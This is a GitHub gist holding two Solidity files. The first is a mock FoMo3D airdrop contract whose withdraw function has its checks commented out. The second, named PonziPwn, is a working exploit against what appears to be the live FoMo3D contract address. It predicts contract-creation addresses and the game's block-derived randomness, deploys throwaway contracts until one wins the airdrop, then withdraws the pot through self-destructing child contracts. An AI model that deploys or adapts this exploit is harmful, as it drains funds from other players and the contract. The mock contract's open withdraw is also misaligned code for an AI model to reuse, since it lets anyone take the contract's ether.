Created
August 9, 2018 12:16
-
-
Save jin10086/2b8eb0ed29bb1314dba356d1fd8e8992 to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=true&gist=
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
contract Fomo3d{ | |
uint256 public airDropTracker_ = 10000000000 ; | |
uint256 public airDropPot_ = 10 ether; | |
mapping (address=>uint) public my; | |
event SendEth(uint256 value); | |
function ()payable public{ | |
uint _seed; | |
_seed = uint256(keccak256(abi.encodePacked( | |
(block.timestamp) + | |
(block.difficulty) + | |
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + | |
(block.gaslimit) + | |
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)) + | |
(block.number) | |
))); | |
if((_seed - ((_seed / 1000) * 1000)) < airDropTracker_){ | |
my[msg.sender] += 0.5 ether; | |
airDropPot_ -= 0.5 ether; | |
} | |
emit SendEth(msg.value); | |
} | |
constructor() public payable{ | |
} | |
function withdraw () public { | |
//require(my[msg.sender] > 0); | |
//my[msg.sender] -= 0.5 ether; | |
msg.sender.send(0.5 ether); | |
} | |
function balance() view returns (uint256){ | |
return address(this).balance; | |
} | |
} |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.24; | |
interface FoMo3DlongInterface { | |
function airDropTracker_() external returns (uint256); | |
function airDropPot_() external returns (uint256); | |
function withdraw() external; | |
} | |
interface SUNContractInterface { | |
function withdraw() external; | |
function balance() external returns(uint256); | |
function newContract(uint256) external returns(bool); | |
} | |
/* | |
* Contract addresses are deterministic. | |
* We find out how many deployments it'll take to get a winning contract address | |
* then deploy blank contracts until we get to the second last number of deployments to generate a successful address. | |
*/ | |
//contract which will win the airdrop | |
contract AirDropWinner { | |
//point to Fomo3d Contract | |
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0x3c491e476c62acab685c8ca4fa38e4f4459381fe); | |
constructor() public{ | |
address(fomo3d).call.value(0.1 ether)(); | |
fomo3d.withdraw(); | |
selfdestruct(msg.sender); | |
} | |
} | |
contract sunContract{ | |
address private admin; | |
modifier onlyAdmin() { | |
require(msg.sender == admin); | |
_; | |
} | |
event SendMyeth(uint256 e); | |
constructor() public{ | |
admin = msg.sender; | |
} | |
function newContract (uint256 _nonce) onlyAdmin public returns(bool) { | |
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), byte(_nonce)))); | |
address(_newSender).call.value(0.1 ether)(); | |
new AirDropWinner(); | |
address(admin).transfer(address(this).balance); | |
return true; | |
} | |
} | |
contract PonziPwn { | |
FoMo3DlongInterface private fomo3d = FoMo3DlongInterface(0x3c491e476c62acab685c8ca4fa38e4f4459381fe); | |
address private admin; | |
mapping(address => uint) public contracts; | |
mapping(uint256 => address) public nums_contracts; | |
uint256 public nonce = 1; | |
event C(address contract_address); | |
modifier onlyAdmin() { | |
require(msg.sender == admin); | |
_; | |
} | |
constructor() public payable{ | |
admin = msg.sender; | |
new1(10); | |
} | |
function new1(uint256 len) public onlyAdmin { | |
uint256 end = len+nonce; | |
while (nonce < end){ | |
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, address(this), byte(nonce)))); | |
new sunContract(); | |
contracts[_newSender] = 1; | |
nums_contracts[nonce] = _newSender; | |
nonce += 1; | |
emit C(_newSender); | |
} | |
} | |
function run() public payable returns(bool){ | |
//The address that a contract deployed by this contract will have | |
uint256 _tracker = fomo3d.airDropTracker_(); | |
for (uint256 i = 1;i<nonce;i++) { | |
uint256 _seed; | |
address c = nums_contracts[i]; | |
uint256 c_nonce = contracts[c]; | |
address _newSender = address(keccak256(abi.encodePacked(0xd6, 0x94, c, byte(c_nonce+1)))); | |
_seed = uint256(keccak256(abi.encodePacked( | |
(block.timestamp) + | |
(block.difficulty) + | |
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)) + | |
(block.gaslimit) + | |
((uint256(keccak256(abi.encodePacked(_newSender)))) / (now)) + | |
(block.number) | |
))); | |
if((_seed - ((_seed / 1000) * 1000)) < _tracker) { | |
SUNContractInterface sun = SUNContractInterface(c); | |
address(c).call.value(0.1 ether)(); | |
sun.newContract(c_nonce); | |
return true; | |
} | |
} | |
return false; | |
} | |
//allows withdrawal of funds after selfdestructing of a child contract which return funds to this contract | |
function withdraw() public onlyAdmin() { | |
admin.transfer(address(this).balance); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment